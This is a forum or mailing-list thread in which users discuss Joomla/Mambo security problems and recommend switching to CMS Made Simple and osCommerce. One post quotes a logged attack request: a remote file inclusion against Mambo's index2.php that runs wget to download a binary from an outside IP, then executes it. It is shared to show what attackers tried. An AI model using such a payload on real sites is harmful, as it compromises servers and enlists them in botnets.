Joomla

[Steve Morgan]

Does anyone have experience with Joomla and the module Virtuemart? I am
building a site for my employer using Joomla and am planning on using
the module Virtuemart for online shopping. If so, what hosting company
do you use?

Steve

[Dustin Decker]

Joomla being the latest iteration of Mambo, you might wanna search vulnerability lists for what I presume will remain: tons of cross site scripting and/or sql injection vulnerabilities.

Haven't used the module you mention before, but I've found this particular CMS keeps me busy reading security logs and locking things down that should have been from the beginning.

D.

An age is called Dark not because the light fails to shine, but because people refuse to see it.
-- James Michener, "Space"

[Steve Morgan]

I tried to Google vulnerabilities and didn't come up with anything
recent. Thanks for the info. I will continue to explore my options.

Steve

[Dustin Decker]

Here are a few points...

Mambo:
http://www.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=mambo&x=0&y=0

Joomla:
http://www.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=Joomla&x=0&y=0

Some of these are obviously dated, but they don't present their results historically by default so you need to dig... and they _are_ getting it locked down a lot better, but as you know you have to patch ALL the holes, while your black-hatter only needs to find one.  Their stuff is in serious need of a top to bottom code audit (and I'm not the guy for that!) but the one that bothered me the most was from way back in 2005 (I've seen boxen that were exploited like this - honestly, fdisk is the cure):
http://www.securityfocus.com/brief/71

Bugtrack/Security Focus isn't what it used to be.  If you wanna find exploits for Joomla that might dissuade your use entirely, head over to www.packetstormsecurity.org and see if they have anything "fun" laying around.

Hope this helps.... gotta love Joomla, I mean hell... it sure is pretty.  ;-)
Dustin

--

[nick....@gmail.com]

I used to run several Mambo sites, and you're right, with all the
vulnerabilities out there, it keeps you on your toes. It got to be
too time consuming to deal with the tens of thousands of daily exploit
attempts and strange patching for it to be worthwhile to me. I still
have some actual exploit code that I looked at to see what it was the
script kiddies were trying to do. Here's an example from my own logs:

209.67.221.170 - - [15/Feb/2006:15:39:58 +0000] "GET /mambo/index2.php?
_REQUEST[
option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://
2
09.123.16.34/cmd.gif?&cmd=cd%20/tmp;wget%20209.123.16.34/giculo;chmod
%20744%20gi
culo;./giculo;echo%20YYY;echo| HTTP/1.1" 302 - "-" "Mozilla/4.0
(compatible; MS
IE 6.0; Windows NT 5.1;)"


Almost every time, the code they tried to execute was a perl script on
some remote server that would add your computer to a botnet, then make
your computer use google to look for more Mambo/Joomla sites to try
and infect. Really annoying, and there were lots of kiddies that
liked to claim the exact same code as their own.

I never liked the functionality of Mambo/Joomla, but you're right, it
sure is pretty. Instead I've moved my sites to CMSMS, and have had no
problems: no botnets trying to beat down the door, less administrative
hassle, and my web developer likes the environment better.

This was just my own experience, and I haven't touched Joomla in a
year, so ymmv.

-Nick

On Nov 26, 1:13 pm, "Dustin Decker" <dustin.dec...@gmail.com> wrote:
> Here are a few points...
>

> Mambo:http://www.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=m...
>
> Joomla:http://www.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=J...

>
> Some of these are obviously dated, but they don't present their results
> historically by default so you need to dig... and they _are_ getting it
> locked down a lot better, but as you know you have to patch ALL the holes,
> while your black-hatter only needs to find one. Their stuff is in serious
> need of a top to bottom code audit (and I'm not the guy for that!) but the
> one that bothered me the most was from way back in 2005 (I've seen boxen
> that were exploited like this - honestly, fdisk is the cure):http://www.securityfocus.com/brief/71
>
> Bugtrack/Security Focus isn't what it used to be. If you wanna find

> exploits for Joomla that might dissuade your use entirely, head over towww.packetstormsecurity.organd see if they have anything "fun" laying

[Steve Morgan]

Have you used any shopping carts with CMSMS? I am uploading it to my
server now and plan on putting together a demo site to get a feel for
it. Thanks for the info. It is very much appreciated.

Steve

[nick....@gmail.com]

Steve,

I actually have a separate osCommerce site that uses a template very
similar to our CMSMS template; both sites look and feel very similar.
I can't say anything bad about osCommerce, its really quite good, and
I had no reason to switch to anything else when I went from Mambo/
Joomla to CMSMS.

-Nick

On Nov 27, 2:25 pm, Steve Morgan <st...@notiones.com> wrote:
> Have you used any shopping carts with CMSMS? I am uploading it to my
> server now and plan on putting together a demo site to get a feel for
> it. Thanks for the info. It is very much appreciated.
>
> Steve
>

> > > exploits for Joomla that might dissuade your use entirely, head over towww.packetstormsecurity.organdsee if they have anything "fun" laying

[Steve Morgan]

I just wanted to say thanks for recommending CMS Made Simple. I put
CMSMS and Joomla together on the same server and joomla was nothing but
trouble. CMSMS on the other hand has been great. It is very intuitive
and seems to be rock solid. Joomla seems to be anything but.

Thanks again.

Steve